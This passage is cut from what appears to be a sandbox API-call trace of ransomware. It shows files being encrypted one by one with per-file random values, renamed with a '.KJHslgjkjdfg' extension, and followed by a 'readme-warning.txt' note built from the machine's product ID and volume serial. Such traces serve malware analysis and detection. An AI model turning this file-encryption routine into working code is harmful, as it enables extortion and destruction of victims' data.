Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.047] GetProcessHeap () returned 0x2a0000 [0147.047] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.047] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.047] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.047] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.049] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.049] GetProcessHeap () returned 0x2a0000 [0147.049] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.049] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.049] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.049] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.049] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.049] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.049] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.050] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.050] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.050] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.050] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.050] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.050] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9f8, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x9f8, lpOverlapped=0x0) returned 1 [0147.050] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa00, dwBufLen=0xa00 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa00) returned 1 [0147.050] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.050] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xa00, lpOverlapped=0x0) returned 1 [0147.050] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.050] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.050] SetEndOfFile (hFile=0x118) returned 1 [0147.053] GetProcessHeap () returned 0x2a0000 [0147.053] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.053] GetProcessHeap () returned 0x2a0000 [0147.053] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.055] CloseHandle (hObject=0x118) returned 1 [0147.055] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.056] GetProcessHeap () returned 0x2a0000 [0147.056] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.056] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.056] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.056] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0147.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.058] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.058] GetProcessHeap () returned 0x2a0000 [0147.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.058] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.058] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.058] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.058] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.058] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.058] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.058] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.058] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.059] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.059] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.059] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4981, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4981, lpOverlapped=0x0) returned 1 [0147.061] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4990, dwBufLen=0x4990 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4990) returned 1 [0147.061] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.061] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4990, lpOverlapped=0x0) returned 1 [0147.062] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.062] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.062] SetEndOfFile (hFile=0x118) returned 1 [0147.064] GetProcessHeap () returned 0x2a0000 [0147.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.064] GetProcessHeap () returned 0x2a0000 [0147.064] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.069] CloseHandle (hObject=0x118) returned 1 [0147.069] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.069] GetProcessHeap () returned 0x2a0000 [0147.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.069] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.069] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.069] GetProcessHeap () returned 0x2a0000 [0147.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.069] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.069] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.070] GetProcessHeap () returned 0x2a0000 [0147.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.070] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.070] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.070] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.070] GetProcessHeap () returned 0x2a0000 [0147.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.070] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.070] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.070] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.070] GetProcessHeap () returned 0x2a0000 [0147.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.070] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.070] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.070] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.070] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.070] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.070] RegCloseKey (hKey=0x118) returned 0x0 [0147.070] GetProcessHeap () returned 0x2a0000 [0147.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.071] GetProcessHeap () returned 0x2a0000 [0147.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.071] GetProcessHeap () returned 0x2a0000 [0147.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.071] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.071] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.071] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.071] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.071] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.071] GetProcessHeap () returned 0x2a0000 [0147.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.071] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.071] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.071] GetProcessHeap () returned 0x2a0000 [0147.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.071] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\readme-warning.txt") returned 78 [0147.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.072] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.074] CloseHandle (hObject=0x118) returned 1 [0147.074] GetProcessHeap () returned 0x2a0000 [0147.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.074] GetProcessHeap () returned 0x2a0000 [0147.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.074] GetProcessHeap () returned 0x2a0000 [0147.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.074] GetProcessHeap () returned 0x2a0000 [0147.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.074] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.074] GetProcessHeap () returned 0x2a0000 [0147.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.074] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0147.074] GetProcessHeap () returned 0x2a0000 [0147.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0147.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.076] GetProcessHeap () returned 0x2a0000 [0147.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.076] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.076] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0147.076] GetProcessHeap () returned 0x2a0000 [0147.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0147.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.077] GetProcessHeap () returned 0x2a0000 [0147.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.077] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.077] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.077] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0147.079] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.079] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.079] GetProcessHeap () returned 0x2a0000 [0147.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.079] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.079] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.079] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.079] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.080] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.080] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.080] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.080] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.080] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.080] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.080] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.080] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x184e9, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x184e9, 